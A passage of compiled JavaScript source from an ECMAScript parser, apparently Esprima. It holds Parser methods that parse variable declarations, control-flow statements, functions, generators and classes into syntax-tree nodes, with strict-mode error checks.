= this.createNode(); var properties = []; this.expect('{'); while (!this.match('}')) { properties.push(this.parsePropertyPattern(params, kind)); if (!this.match('}')) { this.expect(','); } } this.expect('}'); return this.finalize(node, new Node.ObjectPattern(properties)); }; Parser.prototype.parsePattern = function (params, kind) { var pattern; if (this.match('[')) { pattern = this.parseArrayPattern(params, kind); } else if (this.match('{')) { pattern = this.parseObjectPattern(params, kind); } else { if (this.matchKeyword('let') && (kind === 'const' || kind === 'let')) { this.tolerateUnexpectedToken(this.lookahead, messages_1.Messages.LetInLexicalBinding); } params.push(this.lookahead); pattern = this.parseVariableIdentifier(kind); } return pattern; }; Parser.prototype.parsePatternWithDefault = function (params, kind) { var startToken = this.lookahead; var pattern = this.parsePattern(params, kind); if (this.match('=')) { this.nextToken(); var previousAllowYield = this.context.allowYield; this.context.allowYield = true; var right = this.isolateCoverGrammar(this.parseAssignmentExpression); this.context.allowYield = previousAllowYield; pattern = this.finalize(this.startNode(startToken), new Node.AssignmentPattern(pattern, right)); } return pattern; }; // https://tc39.github.io/ecma262/#sec-variable-statement Parser.prototype.parseVariableIdentifier = function (kind) { var node = this.createNode(); var token = this.nextToken(); if (token.type === 4 /* Keyword */ && token.value === 'yield') { if (this.context.strict) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord); } else if (!this.context.allowYield) { this.throwUnexpectedToken(token); } } else if (token.type !== 3 /* Identifier */) { if (this.context.strict && token.type === 4 /* Keyword */ && this.scanner.isStrictModeReservedWord(token.value)) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictReservedWord); } else { if (this.context.strict || token.value !== 'let' || kind !== 'var') { this.throwUnexpectedToken(token); } } } else if ((this.context.isModule || this.context.await) && token.type === 3 /* Identifier */ && token.value === 'await') { this.tolerateUnexpectedToken(token); } return this.finalize(node, new Node.Identifier(token.value)); }; Parser.prototype.parseVariableDeclaration = function (options) { var node = this.createNode(); var params = []; var id = this.parsePattern(params, 'var'); if (this.context.strict && id.type === syntax_1.Syntax.Identifier) { if (this.scanner.isRestrictedWord(id.name)) { this.tolerateError(messages_1.Messages.StrictVarName); } } var init = null; if (this.match('=')) { this.nextToken(); init = this.isolateCoverGrammar(this.parseAssignmentExpression); } else if (id.type !== syntax_1.Syntax.Identifier && !options.inFor) { this.expect('='); } return this.finalize(node, new Node.VariableDeclarator(id, init)); }; Parser.prototype.parseVariableDeclarationList = function (options) { var opt = { inFor: options.inFor }; var list = []; list.push(this.parseVariableDeclaration(opt)); while (this.match(',')) { this.nextToken(); list.push(this.parseVariableDeclaration(opt)); } return list; }; Parser.prototype.parseVariableStatement = function () { var node = this.createNode(); this.expectKeyword('var'); var declarations = this.parseVariableDeclarationList({ inFor: false }); this.consumeSemicolon(); return this.finalize(node, new Node.VariableDeclaration(declarations, 'var')); }; // https://tc39.github.io/ecma262/#sec-empty-statement Parser.prototype.parseEmptyStatement = function () { var node = this.createNode(); this.expect(';'); return this.finalize(node, new Node.EmptyStatement()); }; // https://tc39.github.io/ecma262/#sec-expression-statement Parser.prototype.parseExpressionStatement = function () { var node = this.createNode(); var expr = this.parseExpression(); this.consumeSemicolon(); return this.finalize(node, new Node.ExpressionStatement(expr)); }; // https://tc39.github.io/ecma262/#sec-if-statement Parser.prototype.parseIfClause = function () { if (this.context.strict && this.matchKeyword('function')) { this.tolerateError(messages_1.Messages.StrictFunction); } return this.parseStatement(); }; Parser.prototype.parseIfStatement = function () { var node = this.createNode(); var consequent; var alternate = null; this.expectKeyword('if'); this.expect('('); var test = this.parseExpression(); if (!this.match(')') && this.config.tolerant) { this.tolerateUnexpectedToken(this.nextToken()); consequent = this.finalize(this.createNode(), new Node.EmptyStatement()); } else { this.expect(')'); consequent = this.parseIfClause(); if (this.matchKeyword('else')) { this.nextToken(); alternate = this.parseIfClause(); } } return this.finalize(node, new Node.IfStatement(test, consequent, alternate)); }; // https://tc39.github.io/ecma262/#sec-do-while-statement Parser.prototype.parseDoWhileStatement = function () { var node = this.createNode(); this.expectKeyword('do'); var previousInIteration = this.context.inIteration; this.context.inIteration = true; var body = this.parseStatement(); this.context.inIteration = previousInIteration; this.expectKeyword('while'); this.expect('('); var test = this.parseExpression(); if (!this.match(')') && this.config.tolerant) { this.tolerateUnexpectedToken(this.nextToken()); } else { this.expect(')'); if (this.match(';')) { this.nextToken(); } } return this.finalize(node, new Node.DoWhileStatement(body, test)); }; // https://tc39.github.io/ecma262/#sec-while-statement Parser.prototype.parseWhileStatement = function () { var node = this.createNode(); var body; this.expectKeyword('while'); this.expect('('); var test = this.parseExpression(); if (!this.match(')') && this.config.tolerant) { this.tolerateUnexpectedToken(this.nextToken()); body = this.finalize(this.createNode(), new Node.EmptyStatement()); } else { this.expect(')'); var previousInIteration = this.context.inIteration; this.context.inIteration = true; body = this.parseStatement(); this.context.inIteration = previousInIteration; } return this.finalize(node, new Node.WhileStatement(test, body)); }; // https://tc39.github.io/ecma262/#sec-for-statement // https://tc39.github.io/ecma262/#sec-for-in-and-for-of-statements Parser.prototype.parseForStatement = function () { var init = null; var test = null; var update = null; var forIn = true; var left, right; var node = this.createNode(); this.expectKeyword('for'); this.expect('('); if (this.match(';')) { this.nextToken(); } else { if (this.matchKeyword('var')) { init = this.createNode(); this.nextToken(); var previousAllowIn = this.context.allowIn; this.context.allowIn = false; var declarations = this.parseVariableDeclarationList({ inFor: true }); this.context.allowIn = previousAllowIn; if (declarations.length === 1 && this.matchKeyword('in')) { var decl = declarations[0]; if (decl.init && (decl.id.type === syntax_1.Syntax.ArrayPattern || decl.id.type === syntax_1.Syntax.ObjectPattern || this.context.strict)) { this.tolerateError(messages_1.Messages.ForInOfLoopInitializer, 'for-in'); } init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var')); this.nextToken(); left = init; right = this.parseExpression(); init = null; } else if (declarations.length === 1 && declarations[0].init === null && this.matchContextualKeyword('of')) { init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var')); this.nextToken(); left = init; right = this.parseAssignmentExpression(); init = null; forIn = false; } else { init = this.finalize(init, new Node.VariableDeclaration(declarations, 'var')); this.expect(';'); } } else if (this.matchKeyword('const') || this.matchKeyword('let')) { init = this.createNode(); var kind = this.nextToken().value; if (!this.context.strict && this.lookahead.value === 'in') { init = this.finalize(init, new Node.Identifier(kind)); this.nextToken(); left = init; right = this.parseExpression(); init = null; } else { var previousAllowIn = this.context.allowIn; this.context.allowIn = false; var declarations = this.parseBindingList(kind, { inFor: true }); this.context.allowIn = previousAllowIn; if (declarations.length === 1 && declarations[0].init === null && this.matchKeyword('in')) { init = this.finalize(init, new Node.VariableDeclaration(declarations, kind)); this.nextToken(); left = init; right = this.parseExpression(); init = null; } else if (declarations.length === 1 && declarations[0].init === null && this.matchContextualKeyword('of')) { init = this.finalize(init, new Node.VariableDeclaration(declarations, kind)); this.nextToken(); left = init; right = this.parseAssignmentExpression(); init = null; forIn = false; } else { this.consumeSemicolon(); init = this.finalize(init, new Node.VariableDeclaration(declarations, kind)); } } } else { var initStartToken = this.lookahead; var previousAllowIn = this.context.allowIn; this.context.allowIn = false; init = this.inheritCoverGrammar(this.parseAssignmentExpression); this.context.allowIn = previousAllowIn; if (this.matchKeyword('in')) { if (!this.context.isAssignmentTarget || init.type === syntax_1.Syntax.AssignmentExpression) { this.tolerateError(messages_1.Messages.InvalidLHSInForIn); } this.nextToken(); this.reinterpretExpressionAsPattern(init); left = init; right = this.parseExpression(); init = null; } else if (this.matchContextualKeyword('of')) { if (!this.context.isAssignmentTarget || init.type === syntax_1.Syntax.AssignmentExpression) { this.tolerateError(messages_1.Messages.InvalidLHSInForLoop); } this.nextToken(); this.reinterpretExpressionAsPattern(init); left = init; right = this.parseAssignmentExpression(); init = null; forIn = false; } else { if (this.match(',')) { var initSeq = [init]; while (this.match(',')) { this.nextToken(); initSeq.push(this.isolateCoverGrammar(this.parseAssignmentExpression)); } init = this.finalize(this.startNode(initStartToken), new Node.SequenceExpression(initSeq)); } this.expect(';'); } } } if (typeof left === 'undefined') { if (!this.match(';')) { test = this.parseExpression(); } this.expect(';'); if (!this.match(')')) { update = this.parseExpression(); } } var body; if (!this.match(')') && this.config.tolerant) { this.tolerateUnexpectedToken(this.nextToken()); body = this.finalize(this.createNode(), new Node.EmptyStatement()); } else { this.expect(')'); var previousInIteration = this.context.inIteration; this.context.inIteration = true; body = this.isolateCoverGrammar(this.parseStatement); this.context.inIteration = previousInIteration; } return (typeof left === 'undefined') ? this.finalize(node, new Node.ForStatement(init, test, update, body)) : forIn ? this.finalize(node, new Node.ForInStatement(left, right, body)) : this.finalize(node, new Node.ForOfStatement(left, right, body)); }; // https://tc39.github.io/ecma262/#sec-continue-statement Parser.prototype.parseContinueStatement = function () { var node = this.createNode(); this.expectKeyword('continue'); var label = null; if (this.lookahead.type === 3 /* Identifier */ && !this.hasLineTerminator) { var id = this.parseVariableIdentifier(); label = id; var key = '$' + id.name; if (!Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) { this.throwError(messages_1.Messages.UnknownLabel, id.name); } } this.consumeSemicolon(); if (label === null && !this.context.inIteration) { this.throwError(messages_1.Messages.IllegalContinue); } return this.finalize(node, new Node.ContinueStatement(label)); }; // https://tc39.github.io/ecma262/#sec-break-statement Parser.prototype.parseBreakStatement = function () { var node = this.createNode(); this.expectKeyword('break'); var label = null; if (this.lookahead.type === 3 /* Identifier */ && !this.hasLineTerminator) { var id = this.parseVariableIdentifier(); var key = '$' + id.name; if (!Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) { this.throwError(messages_1.Messages.UnknownLabel, id.name); } label = id; } this.consumeSemicolon(); if (label === null && !this.context.inIteration && !this.context.inSwitch) { this.throwError(messages_1.Messages.IllegalBreak); } return this.finalize(node, new Node.BreakStatement(label)); }; // https://tc39.github.io/ecma262/#sec-return-statement Parser.prototype.parseReturnStatement = function () { if (!this.context.inFunctionBody) { this.tolerateError(messages_1.Messages.IllegalReturn); } var node = this.createNode(); this.expectKeyword('return'); var hasArgument = !this.match(';') && !this.match('}') && !this.hasLineTerminator && this.lookahead.type !== 2 /* EOF */; var argument = hasArgument ? this.parseExpression() : null; this.consumeSemicolon(); return this.finalize(node, new Node.ReturnStatement(argument)); }; // https://tc39.github.io/ecma262/#sec-with-statement Parser.prototype.parseWithStatement = function () { if (this.context.strict) { this.tolerateError(messages_1.Messages.StrictModeWith); } var node = this.createNode(); var body; this.expectKeyword('with'); this.expect('('); var object = this.parseExpression(); if (!this.match(')') && this.config.tolerant) { this.tolerateUnexpectedToken(this.nextToken()); body = this.finalize(this.createNode(), new Node.EmptyStatement()); } else { this.expect(')'); body = this.parseStatement(); } return this.finalize(node, new Node.WithStatement(object, body)); }; // https://tc39.github.io/ecma262/#sec-switch-statement Parser.prototype.parseSwitchCase = function () { var node = this.createNode(); var test; if (this.matchKeyword('default')) { this.nextToken(); test = null; } else { this.expectKeyword('case'); test = this.parseExpression(); } this.expect(':'); var consequent = []; while (true) { if (this.match('}') || this.matchKeyword('default') || this.matchKeyword('case')) { break; } consequent.push(this.parseStatementListItem()); } return this.finalize(node, new Node.SwitchCase(test, consequent)); }; Parser.prototype.parseSwitchStatement = function () { var node = this.createNode(); this.expectKeyword('switch'); this.expect('('); var discriminant = this.parseExpression(); this.expect(')'); var previousInSwitch = this.context.inSwitch; this.context.inSwitch = true; var cases = []; var defaultFound = false; this.expect('{'); while (true) { if (this.match('}')) { break; } var clause = this.parseSwitchCase(); if (clause.test === null) { if (defaultFound) { this.throwError(messages_1.Messages.MultipleDefaultsInSwitch); } defaultFound = true; } cases.push(clause); } this.expect('}'); this.context.inSwitch = previousInSwitch; return this.finalize(node, new Node.SwitchStatement(discriminant, cases)); }; // https://tc39.github.io/ecma262/#sec-labelled-statements Parser.prototype.parseLabelledStatement = function () { var node = this.createNode(); var expr = this.parseExpression(); var statement; if ((expr.type === syntax_1.Syntax.Identifier) && this.match(':')) { this.nextToken(); var id = expr; var key = '$' + id.name; if (Object.prototype.hasOwnProperty.call(this.context.labelSet, key)) { this.throwError(messages_1.Messages.Redeclaration, 'Label', id.name); } this.context.labelSet[key] = true; var body = void 0; if (this.matchKeyword('class')) { this.tolerateUnexpectedToken(this.lookahead); body = this.parseClassDeclaration(); } else if (this.matchKeyword('function')) { var token = this.lookahead; var declaration = this.parseFunctionDeclaration(); if (this.context.strict) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunction); } else if (declaration.generator) { this.tolerateUnexpectedToken(token, messages_1.Messages.GeneratorInLegacyContext); } body = declaration; } else { body = this.parseStatement(); } delete this.context.labelSet[key]; statement = new Node.LabeledStatement(id, body); } else { this.consumeSemicolon(); statement = new Node.ExpressionStatement(expr); } return this.finalize(node, statement); }; // https://tc39.github.io/ecma262/#sec-throw-statement Parser.prototype.parseThrowStatement = function () { var node = this.createNode(); this.expectKeyword('throw'); if (this.hasLineTerminator) { this.throwError(messages_1.Messages.NewlineAfterThrow); } var argument = this.parseExpression(); this.consumeSemicolon(); return this.finalize(node, new Node.ThrowStatement(argument)); }; // https://tc39.github.io/ecma262/#sec-try-statement Parser.prototype.parseCatchClause = function () { var node = this.createNode(); this.expectKeyword('catch'); this.expect('('); if (this.match(')')) { this.throwUnexpectedToken(this.lookahead); } var params = []; var param = this.parsePattern(params); var paramMap = {}; for (var i = 0; i < params.length; i++) { var key = '$' + params[i].value; if (Object.prototype.hasOwnProperty.call(paramMap, key)) { this.tolerateError(messages_1.Messages.DuplicateBinding, params[i].value); } paramMap[key] = true; } if (this.context.strict && param.type === syntax_1.Syntax.Identifier) { if (this.scanner.isRestrictedWord(param.name)) { this.tolerateError(messages_1.Messages.StrictCatchVariable); } } this.expect(')'); var body = this.parseBlock(); return this.finalize(node, new Node.CatchClause(param, body)); }; Parser.prototype.parseFinallyClause = function () { this.expectKeyword('finally'); return this.parseBlock(); }; Parser.prototype.parseTryStatement = function () { var node = this.createNode(); this.expectKeyword('try'); var block = this.parseBlock(); var handler = this.matchKeyword('catch') ? this.parseCatchClause() : null; var finalizer = this.matchKeyword('finally') ? this.parseFinallyClause() : null; if (!handler && !finalizer) { this.throwError(messages_1.Messages.NoCatchOrFinally); } return this.finalize(node, new Node.TryStatement(block, handler, finalizer)); }; // https://tc39.github.io/ecma262/#sec-debugger-statement Parser.prototype.parseDebuggerStatement = function () { var node = this.createNode(); this.expectKeyword('debugger'); this.consumeSemicolon(); return this.finalize(node, new Node.DebuggerStatement()); }; // https://tc39.github.io/ecma262/#sec-ecmascript-language-statements-and-declarations Parser.prototype.parseStatement = function () { var statement; switch (this.lookahead.type) { case 1 /* BooleanLiteral */: case 5 /* NullLiteral */: case 6 /* NumericLiteral */: case 8 /* StringLiteral */: case 10 /* Template */: case 9 /* RegularExpression */: statement = this.parseExpressionStatement(); break; case 7 /* Punctuator */: var value = this.lookahead.value; if (value === '{') { statement = this.parseBlock(); } else if (value === '(') { statement = this.parseExpressionStatement(); } else if (value === ';') { statement = this.parseEmptyStatement(); } else { statement = this.parseExpressionStatement(); } break; case 3 /* Identifier */: statement = this.matchAsyncFunction() ? this.parseFunctionDeclaration() : this.parseLabelledStatement(); break; case 4 /* Keyword */: switch (this.lookahead.value) { case 'break': statement = this.parseBreakStatement(); break; case 'continue': statement = this.parseContinueStatement(); break; case 'debugger': statement = this.parseDebuggerStatement(); break; case 'do': statement = this.parseDoWhileStatement(); break; case 'for': statement = this.parseForStatement(); break; case 'function': statement = this.parseFunctionDeclaration(); break; case 'if': statement = this.parseIfStatement(); break; case 'return': statement = this.parseReturnStatement(); break; case 'switch': statement = this.parseSwitchStatement(); break; case 'throw': statement = this.parseThrowStatement(); break; case 'try': statement = this.parseTryStatement(); break; case 'var': statement = this.parseVariableStatement(); break; case 'while': statement = this.parseWhileStatement(); break; case 'with': statement = this.parseWithStatement(); break; default: statement = this.parseExpressionStatement(); break; } break; default: statement = this.throwUnexpectedToken(this.lookahead); } return statement; }; // https://tc39.github.io/ecma262/#sec-function-definitions Parser.prototype.parseFunctionSourceElements = function () { var node = this.createNode(); this.expect('{'); var body = this.parseDirectivePrologues(); var previousLabelSet = this.context.labelSet; var previousInIteration = this.context.inIteration; var previousInSwitch = this.context.inSwitch; var previousInFunctionBody = this.context.inFunctionBody; this.context.labelSet = {}; this.context.inIteration = false; this.context.inSwitch = false; this.context.inFunctionBody = true; while (this.lookahead.type !== 2 /* EOF */) { if (this.match('}')) { break; } body.push(this.parseStatementListItem()); } this.expect('}'); this.context.labelSet = previousLabelSet; this.context.inIteration = previousInIteration; this.context.inSwitch = previousInSwitch; this.context.inFunctionBody = previousInFunctionBody; return this.finalize(node, new Node.BlockStatement(body)); }; Parser.prototype.validateParam = function (options, param, name) { var key = '$' + name; if (this.context.strict) { if (this.scanner.isRestrictedWord(name)) { options.stricted = param; options.message = messages_1.Messages.StrictParamName; } if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) { options.stricted = param; options.message = messages_1.Messages.StrictParamDupe; } } else if (!options.firstRestricted) { if (this.scanner.isRestrictedWord(name)) { options.firstRestricted = param; options.message = messages_1.Messages.StrictParamName; } else if (this.scanner.isStrictModeReservedWord(name)) { options.firstRestricted = param; options.message = messages_1.Messages.StrictReservedWord; } else if (Object.prototype.hasOwnProperty.call(options.paramSet, key)) { options.stricted = param; options.message = messages_1.Messages.StrictParamDupe; } } /* istanbul ignore next */ if (typeof Object.defineProperty === 'function') { Object.defineProperty(options.paramSet, key, { value: true, enumerable: true, writable: true, configurable: true }); } else { options.paramSet[key] = true; } }; Parser.prototype.parseRestElement = function (params) { var node = this.createNode(); this.expect('...'); var arg = this.parsePattern(params); if (this.match('=')) { this.throwError(messages_1.Messages.DefaultRestParameter); } if (!this.match(')')) { this.throwError(messages_1.Messages.ParameterAfterRestParameter); } return this.finalize(node, new Node.RestElement(arg)); }; Parser.prototype.parseFormalParameter = function (options) { var params = []; var param = this.match('...') ? this.parseRestElement(params) : this.parsePatternWithDefault(params); for (var i = 0; i < params.length; i++) { this.validateParam(options, params[i], params[i].value); } options.simple = options.simple && (param instanceof Node.Identifier); options.params.push(param); }; Parser.prototype.parseFormalParameters = function (firstRestricted) { var options; options = { simple: true, params: [], firstRestricted: firstRestricted }; this.expect('('); if (!this.match(')')) { options.paramSet = {}; while (this.lookahead.type !== 2 /* EOF */) { this.parseFormalParameter(options); if (this.match(')')) { break; } this.expect(','); if (this.match(')')) { break; } } } this.expect(')'); return { simple: options.simple, params: options.params, stricted: options.stricted, firstRestricted: options.firstRestricted, message: options.message }; }; Parser.prototype.matchAsyncFunction = function () { var match = this.matchContextualKeyword('async'); if (match) { var state = this.scanner.saveState(); this.scanner.scanComments(); var next = this.scanner.lex(); this.scanner.restoreState(state); match = (state.lineNumber === next.lineNumber) && (next.type === 4 /* Keyword */) && (next.value === 'function'); } return match; }; Parser.prototype.parseFunctionDeclaration = function (identifierIsOptional) { var node = this.createNode(); var isAsync = this.matchContextualKeyword('async'); if (isAsync) { this.nextToken(); } this.expectKeyword('function'); var isGenerator = isAsync ? false : this.match('*'); if (isGenerator) { this.nextToken(); } var message; var id = null; var firstRestricted = null; if (!identifierIsOptional || !this.match('(')) { var token = this.lookahead; id = this.parseVariableIdentifier(); if (this.context.strict) { if (this.scanner.isRestrictedWord(token.value)) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunctionName); } } else { if (this.scanner.isRestrictedWord(token.value)) { firstRestricted = token; message = messages_1.Messages.StrictFunctionName; } else if (this.scanner.isStrictModeReservedWord(token.value)) { firstRestricted = token; message = messages_1.Messages.StrictReservedWord; } } } var previousAllowAwait = this.context.await; var previousAllowYield = this.context.allowYield; this.context.await = isAsync; this.context.allowYield = !isGenerator; var formalParameters = this.parseFormalParameters(firstRestricted); var params = formalParameters.params; var stricted = formalParameters.stricted; firstRestricted = formalParameters.firstRestricted; if (formalParameters.message) { message = formalParameters.message; } var previousStrict = this.context.strict; var previousAllowStrictDirective = this.context.allowStrictDirective; this.context.allowStrictDirective = formalParameters.simple; var body = this.parseFunctionSourceElements(); if (this.context.strict && firstRestricted) { this.throwUnexpectedToken(firstRestricted, message); } if (this.context.strict && stricted) { this.tolerateUnexpectedToken(stricted, message); } this.context.strict = previousStrict; this.context.allowStrictDirective = previousAllowStrictDirective; this.context.await = previousAllowAwait; this.context.allowYield = previousAllowYield; return isAsync ? this.finalize(node, new Node.AsyncFunctionDeclaration(id, params, body)) : this.finalize(node, new Node.FunctionDeclaration(id, params, body, isGenerator)); }; Parser.prototype.parseFunctionExpression = function () { var node = this.createNode(); var isAsync = this.matchContextualKeyword('async'); if (isAsync) { this.nextToken(); } this.expectKeyword('function'); var isGenerator = isAsync ? false : this.match('*'); if (isGenerator) { this.nextToken(); } var message; var id = null; var firstRestricted; var previousAllowAwait = this.context.await; var previousAllowYield = this.context.allowYield; this.context.await = isAsync; this.context.allowYield = !isGenerator; if (!this.match('(')) { var token = this.lookahead; id = (!this.context.strict && !isGenerator && this.matchKeyword('yield')) ? this.parseIdentifierName() : this.parseVariableIdentifier(); if (this.context.strict) { if (this.scanner.isRestrictedWord(token.value)) { this.tolerateUnexpectedToken(token, messages_1.Messages.StrictFunctionName); } } else { if (this.scanner.isRestrictedWord(token.value)) { firstRestricted = token; message = messages_1.Messages.StrictFunctionName; } else if (this.scanner.isStrictModeReservedWord(token.value)) { firstRestricted = token; message = messages_1.Messages.StrictReservedWord; } } } var formalParameters = this.parseFormalParameters(firstRestricted); var params = formalParameters.params; var stricted = formalParameters.stricted; firstRestricted = formalParameters.firstRestricted; if (formalParameters.message) { message = formalParameters.message; } var previousStrict = this.context.strict; var previousAllowStrictDirective = this.context.allowStrictDirective; this.context.allowStrictDirective = formalParameters.simple; var body = this.parseFunctionSourceElements(); if (this.context.strict && firstRestricted) { this.throwUnexpectedToken(firstRestricted, message); } if (this.context.strict && stricted) { this.tolerateUnexpectedToken(stricted, message); } this.context.strict = previousStrict; this.context.allowStrictDirective = previousAllowStrictDirective; this.context.await = previousAllowAwait; this.context.allowYield = previousAllowYield; return isAsync ? this.finalize(node, new Node.AsyncFunctionExpression(id, params, body)) : this.finalize(node, new Node.FunctionExpression(id, params, body, isGenerator)); }; // https://tc39.github.io/ecma262/#sec-directive-prologues-and-the-use-strict-directive Parser.prototype.parseDirective = function () { var token = this.lookahead; var node = this.createNode(); var expr = this.parseExpression(); var directive = (expr.type === syntax_1.Syntax.Literal) ? this.getTokenRaw(token).slice(1, -1) : null; this.consumeSemicolon(); return this.finalize(node, directive ? new Node.Directive(expr, directive) : new Node.ExpressionStatement(expr)); }; Parser.prototype.parseDirectivePrologues = function () { var firstRestricted = null; var body = []; while (true) { var token = this.lookahead; if (token.type !== 8 /* StringLiteral */) { break; } var statement = this.parseDirective(); body.push(statement); var directive = statement.directive; if (typeof directive !== 'string') { break; } if (directive === 'use strict') { this.context.strict = true; if (firstRestricted) { this.tolerateUnexpectedToken(firstRestricted, messages_1.Messages.StrictOctalLiteral); } if (!this.context.allowStrictDirective) { this.tolerateUnexpectedToken(token, messages_1.Messages.IllegalLanguageModeDirective); } } else { if (!firstRestricted && token.octal) { firstRestricted = token; } } } return body; }; // https://tc39.github.io/ecma262/#sec-method-definitions Parser.prototype.qualifiedPropertyName = function (token) { switch (token.type) { case 3 /* Identifier */: case 8 /* StringLiteral */: case 1 /* BooleanLiteral */: case 5 /* NullLiteral */: case 6 /* NumericLiteral */: case 4 /* Keyword */: return true; case 7 /* Punctuator */: return token.value === '['; default: break; } return false; }; Parser.prototype.parseGetterMethod = function () { var node = this.createNode(); var isGenerator = false; var previousAllowYield = this.context.allowYield; this.context.allowYield = false; var formalParameters = this.parseFormalParameters(); if (formalParameters.params.length > 0) { this.tolerateError(messages_1.Messages.BadGetterArity); } var method = this.parsePropertyMethod(formalParameters); this.context.allowYield = previousAllowYield; return this.finalize(node, new Node.FunctionExpression(null, formalParameters.params, method, isGenerator)); }; Parser.prototype.parseSetterMethod = function () { var node = this.createNode(); var isGenerator = false; var previousAllowYield = this.context.allowYield; this.context.allowYield = false; var formalParameters = this.parseFormalParameters(); if (formalParameters.params.length !== 1) { this.tolerateError(messages_1.Messages.BadSetterArity); } else if (formalParameters.params[0] instanceof Node.RestElement) { this.tolerateError(messages_1.Messages.BadSetterRestParameter); } var method = this.parsePropertyMethod(formalParameters); this.context.allowYield = previousAllowYield; return this.finalize(node, new Node.FunctionExpression(null, formalParameters.params, method, isGenerator)); }; Parser.prototype.parseGeneratorMethod = function () { var node = this.createNode(); var isGenerator = true; var previousAllowYield = this.context.allowYield; this.context.allowYield = true; var params = this.parseFormalParameters(); this.context.allowYield = false; var method = this.parsePropertyMethod(params); this.context.allowYield = previousAllowYield; return this.finalize(node, new Node.FunctionExpression(null, params.params, method, isGenerator)); }; // https://tc39.github.io/ecma262/#sec-generator-function-definitions Parser.prototype.isStartOfExpression = function () { var start = true; var value = this.lookahead.value; switch (this.lookahead.type) { case 7 /* Punctuator */: start = (value === '[') || (value === '(') || (value === '{') || (value === '+') || (value === '-') || (value === '!') || (value === '~') || (value === '++') || (value === '--') || (value === '/') || (value === '/='); // regular expression literal break; case 4 /* Keyword */: start = (value === 'class') || (value === 'delete') || (value === 'function') || (value === 'let') || (value === 'new') || (value === 'super') || (value === 'this') || (value === 'typeof') || (value === 'void') || (value === 'yield'); break; default: break; } return start; }; Parser.prototype.parseYieldExpression = function () { var node = this.createNode(); this.expectKeyword('yield'); var argument = null; var delegate = false; if (!this.hasLineTerminator) { var previousAllowYield = this.context.allowYield; this.context.allowYield = false; delegate = this.match('*'); if (delegate) { this.nextToken(); argument = this.parseAssignmentExpression(); } else if (this.isStartOfExpression()) { argument = this.parseAssignmentExpression(); } this.context.allowYield = previousAllowYield; } return this.finalize(node, new Node.YieldExpression(argument, delegate)); }; // https://tc39.github.io/ecma262/#sec-class-definitions Parser.prototype.parseClassElement = function (hasConstructor) { var token = this.lookahead; var node = this.createNode(); var kind = ''; var key = null; var value = null; var computed = false; var method = false; var isStatic = false; var isAsync = false; if (this.match('*')) { this.nextToken(); } else { computed = this.match('['); key = this.parseObjectPropertyKey(); var id = key; if (id.name === 'static' && (this.qualifiedPropertyName(this.lookahead) || this.match('*'))) { token = this.lookahead; isStatic = true; computed = this.match('['); if (this.match('*')) { this.nextToken(); } else { key = this.parseObjectPropertyKey(); } } if ((token.type === 3 /* Identifier */) && !this.hasLineTerminator && (token.value === 'async')) { var punctuator = this.lookahead.value; if (punctuator !== ':' && punctuator !== '(' && punctuator !== '*') { isAsync = true; token = this.lookahead; key = this.parseObjectPropertyKey(); if (token.type === 3 /* Identifier */) { if (token.value === 'get' || token.value === 'set') { this.tolerateUnexpectedToken(token); } else if (token.value === 'constructor') { this.tolerateUnexpectedToken(token, messages_1.Messages.ConstructorIsAsync); } } } } } var lookaheadPropertyKey = this.qualifiedPropertyName(this.lookahead); if (token.type === 3 /* Identifier */) { if (token.value === 'get' && lookaheadPropertyKey) { kind = 'get'; computed = this.match('['); key = this.parseObjectPropertyKey(); this.context.allowYield = false; value = this.parseGetterMethod(); } else if (token.value === 'set' && lookaheadPropertyKey) { kind = 'set'; computed = this.match('['); key = this.parseObjectPropertyKey(); value = this.parseSetterMethod(); } } else if (token.type === 7 /* Punctuator */ && token.value === '*' && lookaheadPropertyKey) { kind = 'init'; computed = this.match('['); key = this.parseObjectPropertyKey(); value = this.parseGeneratorMethod(); method = true; } if (!kind && key && this.match('(')) { kind = 'init'; value = isAsync ? this.parsePropertyMethodAsyncFunction() : this.parsePropertyMethodFunction(); method = true; } if (!kind) { this.throwUnexpectedToken(this.lookahead); } if (kind === 'init') { kind = 'method'; } if (!computed) { if (isStatic && this.isPropertyKey(key, 'prototype')) { this.throwUnexpectedToken(token, messages_1.Messages.StaticPrototype); } if (!isStatic && this.isPropertyKey(key, 'constructor')) { if (kind !== 'method' || !method || (value && value.generator)) { this.throwUnexpectedToken(token, messages_1.Messages.ConstructorSpecialMethod); } if (hasConstructor.value) { this.throwUnexpectedToken(token, messages_1.Messages.DuplicateConstructor); } else { hasConstructor.value = true; } kind = 'constructor'; } } return this.finalize(node, new Node.MethodDefinition(key, computed, value, kind, isStatic)); }; Parser.prototype.parseClassElementList = function () { var body = []; var hasConstructor = { value: false }; this.expect('{'); while (!this.match('}')) { if (this.match(';')) { this.nextToken(); } else { body.push(this.parseClassElement(hasConstructor)); } } this.expect('}'); return body; }; Parser.prototype.parseClassBody = function () { var node = this.createNode(); var elementList = this.parseClassElementList(); return this.finalize(node, new Node.ClassBody(elementList)); }; Parser.prototype.parseClassDeclaration = function (identifierIsOptional) { var node = this.createNode(); var previousStrict = this.context.strict; this.context.strict = true; this.expectKeyword('class'); var id = (identifierIsOptional && (this.lookahead.type !== 3 /* Identifier */)) ? null : this.parseVariableIdentifier(); var superClass = null; if (this.matchKeyword('extends')) { this.nextToken(); superClass = this.isolateCoverGrammar(this.parseLeftHandSideExpressionAllowCall); } var classBody = this.parseClassBody(); this.context.strict = previousStrict; return this.finalize(node, new Node.ClassDeclaration(id, superClass, classBody)); }; Parser.prototype.parseClassExpression = function () { var node = this.createNode(); var previousStrict = this.context.strict; this.context.strict = true; this.expectKeyword('class'); var id = (this.lookahead.type === 3 /* Identifier */) ? this.parseVariableIdentifier() : null; var superClass = null; if (this.matchKeyword('extends')) { this.nextToken(); superClass = this.isolateCoverGrammar(this.parseLeftHandSideExpressionAllowCall); } var classBody = this.parseClassBody(); this.context.strict = previousStrict; return this.finalize(node, new Node.ClassExpression(id, superClass, classBody)); }; // https://tc39.github.io/ecma262/#sec-scripts // https://tc39.github.io/ecma262/#sec-modules Parser.prototype.parseModule = function () { this.context.strict = true; this.context.isModule = true; var node = this.createNode(); var body = this.parseDirectivePrologues(); while (this.lookahead.type 